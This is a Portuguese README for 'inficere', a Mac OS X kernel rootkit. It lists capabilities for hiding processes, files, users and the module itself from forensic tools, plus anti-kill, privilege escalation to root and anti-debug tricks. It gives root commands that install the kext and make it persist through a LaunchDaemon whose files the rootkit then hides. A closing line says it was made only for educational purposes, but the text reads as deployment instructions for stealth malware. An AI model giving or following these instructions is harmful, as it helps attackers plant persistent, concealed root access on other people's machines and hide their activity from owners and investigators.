inficere

Versão pública do meu rootkit para Mac OS X construído sobre o onyx-the-black-cat do fractalG (https://github.com/gdbinit/onyx-the-black-cat)

Testado apenas no Mountain Lion, 10.8.2 a 10.8.5. Não é garantido que funcione em outras versões.

Recursos

• ocultação de processos - esconde de 'ps PID', 'ps aux', Monitor de Atividade, top, etc
• ocultação de arquivos/diretórios
• ocultação de usuários - esconde um usuário específico de 'who', 'w'
• auto-ocultação - esconde o próprio módulo do kextstat e volatility
• anti-kill
• PID para UID 0
• truques anti-debug (principalmente por @osxreverser) - anti-anti-ptrace, patch task_for_pid(0), etc

Instruções

1. # chmod -R 755 inficere.kext
2. # chown -R root:wheel inficere.kext
3. # mv inficere.kext /System/Library/Extensions/
4. # kextutil /System/Library/Extensions/inficere.kext
5. # ./control

Para persistência na inicialização:

1. # plutil -convert binary1 com.enzo.inficere.plist
2. # mv com.enzo.inficere.plist /Library/LaunchDaemons/com.enzo.inficere.plist
3. # chown root:wheel /Library/LaunchDaemons/com.enzo.inficere.plist
4. # launchctl load -w /Library/LaunchDaemons/com.enzo.inficere.plist

O Inficere ocultará os arquivos acima após ser carregado.

Gostaria de enfatizar que fiz isso apenas para fins educacionais.